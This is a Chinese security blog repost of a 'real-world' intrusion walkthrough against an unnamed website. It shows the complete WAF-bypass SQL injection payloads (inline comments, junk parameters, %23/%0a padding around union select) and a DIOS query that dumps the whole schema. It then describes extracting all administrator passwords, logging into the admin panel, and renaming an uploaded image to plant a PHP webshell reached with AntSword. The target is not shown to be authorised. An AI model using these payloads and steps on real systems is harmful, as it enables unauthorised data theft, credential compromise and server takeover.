实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

文章来源:奇安信攻防社区(ruirui)
原文地址:https://forum.butian.net/share/994

0x01 注入环节

图片[1]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker

目标加单引号报错,然后加闭合– -返回正常,确认存在注入
图片[2]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker
图片[3]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker

OK,第一步判断注入完成,然后我们order by 查看有多少个字段

图片[4]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker

发现链接被重置某不知名WAF,我们这里第一手先尝试一手内联注入看是否能绕过order by检测
测试发现内联确实能绕过order by 的检测,payload
/!order/ /!by/ 10-- -

图片[5]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker

/!order/ /!by/ 18,18报错,17正常回显,这里确定有17个字段,然后我们进行union select

经测试发现内联无法绕过union select,这个站强制拦截 union 和 select关键字

图片[6]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker

这里发现就算把union注释了也会被拦截

图片[7]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker

这个确实是比较麻烦,他强制拦截这两个关键字,给我们注入带来了非常多的麻烦,然后这里经过我的测试构造出了一种办法来绕过他这个WAF的限制

第一种办法利用 and mod(35,12) 取基数和偶数的办法来让WAF的拦截变弱,然后再加上脏数据绕过
现在我们来复现第一种办法绕过此WAF

图片[8]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker

这里发现构造 and mod 还是会被拦截,然后我们这里继续构造一波垃圾参数加 and mod 来绕过他对union的拦截强度
什么是垃圾参数呢?这里给大家讲一下当我们在url中输入:http://www.0day.team//index.php?s=a select,那么页面会显示危险请求,但是当我们输入http://www.0day.team//index.php?aaa=a select页面则不作任何响应。
因为服务器端的脚本并没有接收aaa参数他认为我们的语句已经被注释掉了,所以会给我们放行,而实际上a、aaa都是垃圾参数并没有被我们的动态脚本所处理,所以也不会影响程序功能
现在我们来实际操作一波这个拦截力度比较强的WAF
图片[9]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker

这样去构造垃圾参数可以看到页面是正常访问的,然后我们在 id=10 哪里正常输入我们的sql语句就行了
图片[10]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker

payload:

detail.php?asdasdasdasd/*&id=10' and mod (35,12) union &asdasdas=1*/

这里可以发现已经不拦截union了,可是这里比较鸡肋,你把union和select连起来他会进行拦截,这时候我们用构造脏数据的方法来进行绕过他的连接限制。
利用%23注释在里面添加脏数据,然后利用%0a进行换行操作,这样就可以成功绕过他这个WAF了
图片[11]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker
payload:
detail.php?asdasdasdasd/*&id=10' and mod (35,12) union%23aasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdas%0aselect &asdasdas=1*/

可以发现现在已经成功的绕过了union select,OK,现在我们来继续操作
图片[12]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker
成功的到回显位6

payload:
detail.php?asdasdasdasd/*&id=.10' and mod (35,12) union%23aasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdas%0aselect 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- -&asdasdas=1*/

OK,然后我们继续来操作 database() 获取当前数据库

图片[13]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker

可以发现数据库已经出来,然后我们现在在来获取表
图片[14]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker
现在可以发现表名已经出来了,还发现一个事情就是这个WAF好像只拦截union和select关键字,这两个关键字有点难绕,其他的都不拦截。
可惜可惜,不然还可以在操作一波,然后回到正题,我们可以发现这个表实在是太多了,我懒的一个一个找,我这里直接构造一个爆表爆列的dios进行注入就行了

payload:
detail.php?asdasdasdasd/*&id=.10' and mod (35,12) union%23aasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdasaasadasdassdasdasdasdasdasdasdasdasdasdasdas%0aselect 1,2,3,4,5,concat((select @rui from(select (@rui:=0x00),(select @rui from information_schema.columns where table_schema=database() and @rui in(@rui:=concat(@rui,table_name,0x2d2d3e,column_name,0x3c62723e))))rui)),7,8,9,10,11,12,13,14,15,16,17-- -&asdasdas=1*/
图片[15]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker
这个是dios的效果,然后我们这里直接搜索password关键字,拿到后台账号密码就行了
图片[16]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker

已经找到了目标后台的账号密码表和列接下来直接注数据就行了

图片[17]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker
可以看到所有的管理员用户密码我们已经拿到了,接下来就进入找后台和拿shell环节
图片[18]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker

谷歌语法搜索发现目标管理后台,接下来我们进行登录尝试

图片[19]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker

利用刚才注入出来的数据成功登录到了目标后台

0x02 拿shell环节

接下来我们寻找上传点拿下目标shell

图片[20]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker

这一处发现利用burp抓包修改jpg后辍能导致任意上传,下面我们来实战进行测试

图片[21]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker

上传成功后发现php里面的内容被强制转换成图片了,这里发现比较鸡肋就没有跟深一步研究,然后开始重新找其他上传点

图片[22]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker
然后发现档案管理这里可以任意改文件名,我在这里上传了一个图片格式的一句话,然后改后缀为php,成功拿下目标shell
图片[23]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker

蚁剑链接图

图片[24]-实战绕过某WAF+拿shell组合拳(绕过区域网及中国大陆地址)-Pikachu Hacker

本文作者:潇湘信安

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/187347.html

© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容